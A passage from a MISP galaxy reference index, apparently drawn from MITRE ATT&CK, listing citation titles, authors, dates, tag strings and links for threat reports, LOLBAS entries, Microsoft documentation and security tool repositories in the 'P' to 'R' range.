https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies

sus mofcomp dos

The DFIR Report. (2023, January 8). proc_creation_win_mofcomp_execution.yml. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="sus mofcomp dos"*

Table 22546. Table References

Links
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_mofcomp_execution.yml

Procdump.exe - LOLBAS Project

LOLBAS. (2020, October 14). Procdump.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Procdump.exe - LOLBAS Project"*

Table 22547. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Procdump/

Microsoft Process Creation Flags May 2018

Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.

The tag is: *misp-galaxy:references="Microsoft Process Creation Flags May 2018"*

Table 22548. Table References

Links
https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags

hasherezade Process Doppelgänging Dec 2017

hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="hasherezade Process Doppelgänging Dec 2017"*

Table 22549. Table References

Links
https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/

Microsoft Processes and Threads

Microsoft. (2018, May 31). Processes and Threads. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft Processes and Threads"*

Table 22550. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads

ProcessHacker Github

ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022.

The tag is: *misp-galaxy:references="ProcessHacker Github"*

Table 22551. Table References

Links
https://github.com/processhacker/processhacker

Leitch Hollowing

Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Leitch Hollowing"*

Table 22552. Table References

Links
http://www.autosectools.com/process-hollowing.pdf

Korean FSI TA505 2020

Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.

The tag is: *misp-galaxy:references="Korean FSI TA505 2020"*

Table 22553. Table References

Links
https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=

Microsoft Profiling Mar 2017

Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.

The tag is: *misp-galaxy:references="Microsoft Profiling Mar 2017"*

Table 22554. Table References

Links
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview

Microsoft Win32

Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.

The tag is: *misp-galaxy:references="Microsoft Win32"*

Table 22555. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/api/

CameraShy

ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.

The tag is: *misp-galaxy:references="CameraShy"*

Table 22556. Table References

Links
http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf

Unit 42 ProjectM March 2016

Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021.

The tag is: *misp-galaxy:references="Unit 42 ProjectM March 2016"*

Table 22557. Table References

Links
https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/

Threatpost Sauron

Michael Mimoso. (2016, August 8). ProjectSauron APT On Par With Equation, Flame, Duqu. Retrieved January 10, 2024.

The tag is: *misp-galaxy:references="Threatpost Sauron"*

Table 22558. Table References

Links
https://threatpost.com/projectsauron-apt-on-par-with-equation-flame-duqu/119725/

Kaspersky ProjectSauron Blog

Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.

The tag is: *misp-galaxy:references="Kaspersky ProjectSauron Blog"*

Table 22559. Table References

Links
https://securelist.com/faq-the-projectsauron-apt/75533/

Kaspersky TajMahal April 2019

GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019.

The tag is: *misp-galaxy:references="Kaspersky TajMahal April 2019"*

Table 22560. Table References

Links
https://securelist.com/project-tajmahal/90240/

DarkReading FireEye FIN5 Oct 2015

Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.

The tag is: *misp-galaxy:references="DarkReading FireEye FIN5 Oct 2015"*

Table 22561. Table References

Links
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?

Talos Promethium June 2020

Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.

The tag is: *misp-galaxy:references="Talos Promethium June 2020"*

Table 22562. Table References

Links
https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html

Proofpoint-DMARC

Proofpoint. (n.d.). Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Proofpoint-DMARC"*

Table 22563. Table References

Links
https://www.proofpoint.com/us/threat-reference/dmarc

The Record Cyber Toufan December 29 2023

Daryna Antoniuk. (2023, December 29). Pro-Palestinian operation claims dozens of data breaches against Israeli firms. Retrieved August 8, 2024.

The tag is: *misp-galaxy:references="The Record Cyber Toufan December 29 2023"*

Table 22564. Table References

Links
https://therecord.media/cyber-toufan-data-breaches-israel-iran-palestinians

Avast Threat Labs September 6 2022

Martin Chlumecký. (2022, September 6). Pro-Russian Group Targeting Ukraine Supporters with DDoS Attacks - Avast Threat Labs. Retrieved May 2, 2024.

The tag is: *misp-galaxy:references="Avast Threat Labs September 6 2022"*

Table 22565. Table References

Links
https://decoded.avast.io/martinchlumecky/bobik/

Intel471 Pro-Russian Hacktivist 2022

Intel471. (2022, September 14). Pro-Russian Hacktivist Groups Target Ukraine Supporters. Retrieved April 30, 2024.

The tag is: *misp-galaxy:references="Intel471 Pro-Russian Hacktivist 2022"*

Table 22566. Table References

Links
https://intel471.com/blog/pro-russian-hacktivist-groups-target-ukraine-supporters

TechNet Credential Guard

Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.

The tag is: *misp-galaxy:references="TechNet Credential Guard"*

Table 22567. Table References

Links
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard

Microsoft Protected Users Security Group

Microsoft. (2016, October 12). Protected Users Security Group. Retrieved May 29, 2020.

The tag is: *misp-galaxy:references="Microsoft Protected Users Security Group"*

Table 22568. Table References

Links
https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group

CISA Remote Monitoring and Management Software

CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.

The tag is: *misp-galaxy:references="CISA Remote Monitoring and Management Software"*

Table 22569. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa23-025a

Protecting Microsoft 365 From On-Premises Attacks

Microsoft. (2022, August 26). Protecting Microsoft 365 from on-premises attacks. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Protecting Microsoft 365 From On-Premises Attacks"*

Table 22570. Table References

Links
https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/protect-m365-from-on-premises-attacks

SANS PsExec

Pilkington, M. (2012, December 17). Protecting Privileged Domain Accounts: PsExec Deep-Dive. Retrieved August 17, 2016.

The tag is: *misp-galaxy:references="SANS PsExec"*

Table 22571. Table References

Links
https://www.sans.org/blog/protecting-privileged-domain-accounts-psexec-deep-dive/

Docker Daemon Socket Protect

Docker. (n.d.). Protect the Docker Daemon Socket. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Docker Daemon Socket Protect"*

Table 22572. Table References

Links
https://docs.docker.com/engine/security/protect-access/

Malwarebytes Emotet Dec 2017

Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.

The tag is: *misp-galaxy:references="Malwarebytes Emotet Dec 2017"*

Table 22573. Table References

Links
https://support.malwarebytes.com/docs/DOC-2295

ProtocolHandler.exe - LOLBAS Project

LOLBAS. (2022, July 24). ProtocolHandler.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="ProtocolHandler.exe - LOLBAS Project"*

Table 22574. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/

cybereason osx proton

Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.

The tag is: *misp-galaxy:references="cybereason osx proton"*

Table 22575. Table References

Links
https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does

Provlaunch.exe - LOLBAS Project

LOLBAS. (2023, June 30). Provlaunch.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Provlaunch.exe - LOLBAS Project"*

Table 22576. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/

FBI Proxies Credential Stuffing

FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.

The tag is: *misp-galaxy:references="FBI Proxies Credential Stuffing"*

Table 22577. Table References

Links
https://www.ic3.gov/Media/News/2022/220818.pdf

Sysdig Proxyjacking

Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.

The tag is: *misp-galaxy:references="Sysdig Proxyjacking"*

Table 22578. Table References

Links
https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/

Password Protected Word Docs

Lawrence Abrams. (2017, July 12). PSA: Don’t Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.

The tag is: *misp-galaxy:references="Password Protected Word Docs"*

Table 22579. Table References

Links
https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/

Github PSAttack

Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="Github PSAttack"*

Table 22580. Table References

Links
https://github.com/Exploit-install/PSAttack-1

PsExec Russinovich

Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.

The tag is: *misp-galaxy:references="PsExec Russinovich"*

Table 22581. Table References

Links
http://windowsitpro.com/systems-management/psexec

SANS UAC Bypass

Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.

The tag is: *misp-galaxy:references="SANS UAC Bypass"*

Table 22582. Table References

Links
http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass

GitHub PSPKIAudit

HarmJ0y et al. (2021, June 16). PSPKIAudit. Retrieved August 2, 2022.

The tag is: *misp-galaxy:references="GitHub PSPKIAudit"*

Table 22583. Table References

Links
https://github.com/GhostPack/PSPKIAudit

Psr.exe - LOLBAS Project

LOLBAS. (2020, June 27). Psr.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Psr.exe - LOLBAS Project"*

Table 22584. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Psr/

Microsoft PsSetCreateProcessNotifyRoutine routine

Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Microsoft PsSetCreateProcessNotifyRoutine routine"*

Table 22585. Table References

Links
https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx

PTRACE man

Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="PTRACE man"*

Table 22586. Table References

Links
http://man7.org/linux/man-pages/man2/ptrace.2.html

Wikipedia Public Key Crypto

Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="Wikipedia Public Key Crypto"*

Table 22587. Table References

Links
https://en.wikipedia.org/wiki/Public-key_cryptography

SingHealth Breach Jan 2019

Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020.

The tag is: *misp-galaxy:references="SingHealth Breach Jan 2019"*

Table 22588. Table References

Links
https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx

pubprn

Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.

The tag is: *misp-galaxy:references="pubprn"*

Table 22589. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn

Pubprn.vbs - LOLBAS Project

LOLBAS. (2018, May 25). Pubprn.vbs. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Pubprn.vbs - LOLBAS Project"*

Table 22590. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/Pubprn/

PaloAlto EncodedCommand March 2017

White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.

The tag is: *misp-galaxy:references="PaloAlto EncodedCommand March 2017"*

Table 22591. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/

Anomali Linux Rabbit 2018

Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.

The tag is: *misp-galaxy:references="Anomali Linux Rabbit 2018"*

Table 22592. Table References

Links
https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat

anomali-linux-rabbit

Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="anomali-linux-rabbit"*

Table 22593. Table References

Links
https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat

CrowdStrike PUNK SPIDER

CrowdStrike. (n.d.). Punk Spider. Retrieved February 20, 2024.

The tag is: *misp-galaxy:references="CrowdStrike PUNK SPIDER"*

Table 22594. Table References

Links
https://www.crowdstrike.com/adversaries/punk-spider/

Menlo Security PureCrypter February 2023

Abhay Yadav. (2023, February 23). PureCrypter targets government entities through Discord. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="Menlo Security PureCrypter February 2023"*

Table 22595. Table References

Links
https://www.menlosecurity.com/blog/purecrypter-targets-government-entities-through-discord/

BleepingComputer Snowflake June 11 2024

Sergiu Gatlan. (2024, June 11). Pure Storage confirms data breach after Snowflake account hack. Retrieved June 13, 2024.

The tag is: *misp-galaxy:references="BleepingComputer Snowflake June 11 2024"*

Table 22596. Table References

Links
https://www.bleepingcomputer.com/news/security/pure-storage-confirms-data-breach-after-snowflake-account-hack/

Free Trial PurpleUrchin

Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.

The tag is: *misp-galaxy:references="Free Trial PurpleUrchin"*

Table 22597. Table References

Links
https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/

Cylance Putter Panda

Gross, J. and Walter, J.. (2016, January 12). Puttering into the Future.... Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Cylance Putter Panda"*

Table 22598. Table References

Links
https://blogs.blackberry.com/en/2016/01/puttering-into-the-future

Oddvar Moe ADS1 Jan 2018

Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.

The tag is: *misp-galaxy:references="Oddvar Moe ADS1 Jan 2018"*

Table 22599. Table References

Links
https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

Oddvar Moe ADS2 Apr 2018

Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.

The tag is: *misp-galaxy:references="Oddvar Moe ADS2 Apr 2018"*

Table 22600. Table References

Links
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

Moran RDPieces

Moran, B. (2020, November 18). Putting Together the RDPieces. Retrieved October 17, 2022.

The tag is: *misp-galaxy:references="Moran RDPieces"*

Table 22601. Table References

Links
https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf

PuTTY Download Page

PuTTY. (n.d.). PuTTY Download Page. Retrieved November 16, 2023.

The tag is: *misp-galaxy:references="PuTTY Download Page"*

Table 22602. Table References

Links
https://www.putty.org/

Wikipedia pwdump

Wikipedia. (2007, August 9). pwdump. Retrieved June 22, 2016.

The tag is: *misp-galaxy:references="Wikipedia pwdump"*

Table 22603. Table References

Links
https://en.wikipedia.org/wiki/Pwdump

DFIR Pysa Nov 2020

THe DFIR Report. (2020, November 23). PYSA/Mespinoza Ransomware. Retrieved March 17, 2021.

The tag is: *misp-galaxy:references="DFIR Pysa Nov 2020"*

Table 22604. Table References

Links
https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/

NHS Digital Pysa Oct 2020

NHS Digital. (2020, October 10). Pysa Ransomware: Another 'big-game hunter' ransomware. Retrieved March 17, 2021.

The tag is: *misp-galaxy:references="NHS Digital Pysa Oct 2020"*

Table 22605. Table References

Links
https://digital.nhs.uk/cyber-alerts/2020/cc-3633

oletools toolkit

decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.

The tag is: *misp-galaxy:references="oletools toolkit"*

Table 22606. Table References

Links
https://github.com/decalage2/oletools

GitHub PoshC2

Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="GitHub PoshC2"*

Table 22607. Table References

Links
https://github.com/nettitude/PoshC2_Python

Trend Micro Qakbot December 2020

Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Trend Micro Qakbot December 2020"*

Table 22608. Table References

Links
https://success.trendmicro.com/en-US/solution/KA-0011282

Cyberint Qakbot May 2021

Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.

The tag is: *misp-galaxy:references="Cyberint Qakbot May 2021"*

Table 22609. Table References

Links
https://blog.cyberint.com/qakbot-banking-trojan

TrellixQakbot

Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.

The tag is: *misp-galaxy:references="TrellixQakbot"*

Table 22610. Table References

Links
https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/

Trellix-Qakbot

Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.

The tag is: *misp-galaxy:references="Trellix-Qakbot"*

Table 22611. Table References

Links
https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/

Kroll Qakbot June 2020

Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.

The tag is: *misp-galaxy:references="Kroll Qakbot June 2020"*

Table 22612. Table References

Links
https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks

Trend Micro Qakbot May 2020

Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.

The tag is: *misp-galaxy:references="Trend Micro Qakbot May 2020"*

Table 22613. Table References

Links
https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files

K7 QakBot Returns January 4 2024

Saikumaravel. (2024, January 4). Qakbot Returns. Retrieved January 24, 2024.

The tag is: *misp-galaxy:references="K7 QakBot Returns January 4 2024"*

Table 22614. Table References

Links
https://labs.k7computing.com/index.php/qakbot-returns/

Kaspersky QakBot September 2021

Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.

The tag is: *misp-galaxy:references="Kaspersky QakBot September 2021"*

Table 22615. Table References

Links
https://securelist.com/qakbot-technical-analysis/103931/

Red Canary Qbot

Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.

The tag is: *misp-galaxy:references="Red Canary Qbot"*

Table 22616. Table References

Links
https://redcanary.com/threat-detection-report/threats/qbot/

ConnectWise LinkedIn September 25 2024

ConnectWise. (2024, September 25). QDoor A New Backdoor Tool in Blacksuit's Arsenal. Retrieved April 14, 2025.

The tag is: *misp-galaxy:references="ConnectWise LinkedIn September 25 2024"*

Table 22617. Table References

Links
https://www.linkedin.com/pulse/qdoor-new-backdoor-tool-blacksuits-arsenal-connectwise-uwvhc/

qr-phish-agriculture

Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams & Phishing. Retrieved November 27, 2023.

The tag is: *misp-galaxy:references="qr-phish-agriculture"*

Table 22618. Table References

Links
https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing

The DFIR Report April 25 2022

The DFIR Report. (2022, April 25). Quantum Ransomware. Retrieved June 28, 2024.

The tag is: *misp-galaxy:references="The DFIR Report April 25 2022"*

Table 22619. Table References

Links
https://thedfirreport.com/2022/04/25/quantum-ransomware/

DFIR_Quantum_Ransomware

DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.

The tag is: *misp-galaxy:references="DFIR_Quantum_Ransomware"*

Table 22620. Table References

Links
https://thedfirreport.com/2022/04/25/quantum-ransomware/

TheEclecticLightCompany Quarantine and the flag

hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.

The tag is: *misp-galaxy:references="TheEclecticLightCompany Quarantine and the flag"*

Table 22621. Table References

Links
https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/

Esentire July 31 2024

Esentire Threat Response Unit. (2024, July 31). Quartet of Trouble XWorm, AsyncRAT, VenomRAT, and PureLogs Stealerâ€¦. Retrieved August 6, 2024.

The tag is: *misp-galaxy:references="Esentire July 31 2024"*

Table 22622. Table References

Links
https://www.esentire.com/blog/quartet-of-trouble-xworm-asyncrat-venomrat-and-purelogs-stealer-leverage-trycloudflare

GitHub QuasarRAT

MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.

The tag is: *misp-galaxy:references="GitHub QuasarRAT"*

Table 22623. Table References

Links
https://github.com/quasar/QuasarRAT

Cado Security Ltd February 1 2024

Nate Bill. (2024, February 1). Qubitstrike - An Emerging Malware Campaign Targeting Jupyter Notebooks. Retrieved March 10, 2025.

The tag is: *misp-galaxy:references="Cado Security Ltd February 1 2024"*

Table 22624. Table References

Links
https://www.cadosecurity.com/blog/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks

0DAY IN {REA_TEAM} Pikabot January 6 2024

0DAY IN {REA_TEAM}. (2024, January 6). [QuickNote] Technical Analysis of recent Pikabot Core Module. Retrieved January 11, 2024.

The tag is: *misp-galaxy:references="0DAY IN {REA_TEAM} Pikabot January 6 2024"*

Table 22625. Table References

Links
https://kienmanowar.wordpress.com/2024/01/06/quicknote-technical-analysis-of-recent-pikabot-core-module/

DidierStevens SelectMyParent Nov 2009

Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.

The tag is: *misp-galaxy:references="DidierStevens SelectMyParent Nov 2009"*

Table 22626. Table References

Links
https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/

Microsoft - Azure AD App Registration - May 2019

Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.

The tag is: *misp-galaxy:references="Microsoft - Azure AD App Registration - May 2019"*

Table 22627. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app

Microsoft Azure Key Vault

Microsoft. (2023, January 13). Quickstart: Set and retrieve a secret from Azure Key Vault using Azure CLI. Retrieved September 25, 2023.

The tag is: *misp-galaxy:references="Microsoft Azure Key Vault"*

Table 22628. Table References

Links

https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli

Google Command Center Dashboard

Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="Google Command Center Dashboard"*

Table 22629. Table References

Links
https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard

Trend Micro R980 2016

Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.

The tag is: *misp-galaxy:references="Trend Micro R980 2016"*

Table 22630. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/

Costa AvosLocker May 2022

Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.

The tag is: *misp-galaxy:references="Costa AvosLocker May 2022"*

Table 22631. Table References

Links
https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory

S2W Racoon 2022

S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.

The tag is: *misp-galaxy:references="S2W Racoon 2022"*

Table 22632. Table References

Links
https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d

Sekoia Raccoon1 2022

Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.

The tag is: *misp-galaxy:references="Sekoia Raccoon1 2022"*

Table 22633. Table References

Links
https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/

Sekoia.io Raccoon Stealer June 28 2022

Quentin Bourgue, Pierre Le Bourhis, Threat & Detection Research Team - TDR. (2022, June 28). Raccoon Stealer v2 – Part 1: The return of the dead. Retrieved November 16, 2023.

The tag is: *misp-galaxy:references="Sekoia.io Raccoon Stealer June 28 2022"*

Table 22634. Table References

Links
https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/

Sekoia Raccoon2 2022

Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.

The tag is: *misp-galaxy:references="Sekoia Raccoon2 2022"*

Table 22635. Table References

Links
https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/

DOJ Iran Indictments March 2018

DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021.

The tag is: *misp-galaxy:references="DOJ Iran Indictments March 2018"*

Table 22636. Table References

Links
https://www.justice.gov/usao-sdny/press-release/file/1045781/download

Sophos Ragnar May 2020

SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.

The tag is: *misp-galaxy:references="Sophos Ragnar May 2020"*

Table 22637. Table References

Links
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/

SC Magazine Ragnar Locker 2021

Joe Uchill. (2021, December 3). Ragnar Locker reminds breach victims it can read the on-network incident response chat rooms. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="SC Magazine Ragnar Locker 2021"*

Table 22638. Table References

Links
https://www.scmagazine.com/analysis/ragnar-locker-reminds-breach-victims-it-can-read-the-on-network-incident-response-chat-rooms

GitHub Raindance

Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="GitHub Raindance"*

Table 22639. Table References

Links
https://github.com/True-Demon/raindance

Symantec RAINDROP January 2021

Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.

The tag is: *misp-galaxy:references="Symantec RAINDROP January 2021"*

Table 22640. Table References

Links

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware

Rakesh Krishnan Devman May 23 2025

Rakesh Krishnan. (2025, May 23). Rakesh Krishnan Devman May 23 2025. Retrieved June 13, 2025.

The tag is: *misp-galaxy:references="Rakesh Krishnan Devman May 23 2025"*

Table 22641. Table References

Links
https://www.linkedin.com/posts/rakesh-krishnan-6179a94b_devman-ransomware-tor-activity-7330477306483838976-yV5K

Cyble April 17 2025

Cyble. (2025, April 17). RALord Ransomware Group Threat Profile & Attack Tactics. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="Cyble April 17 2025"*

Table 22642. Table References

Links
https://cyble.com/threat-actor-profiles/ralord-ransomware-group/

Eset Ramsay May 2020

Sanmillan, I.. (2020, May 13). Ramsay: A cyber-espionage toolkit tailored for air-gapped networks. Retrieved May 27, 2020.

The tag is: *misp-galaxy:references="Eset Ramsay May 2020"*

Table 22643. Table References

Links
https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/

Rancor WMI

Jen Miller-Osborn and Mike Harbison. (2019, December 17). Rancor: Cyber Espionage Group Uses New Custom Malware to Attack Southeast Asia. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="Rancor WMI"*

Table 22644. Table References

Links
https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/

Rancor Unit42 June 2018

Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.

The tag is: *misp-galaxy:references="Rancor Unit42 June 2018"*

Table 22645. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

BleepingComputer November 6 2020

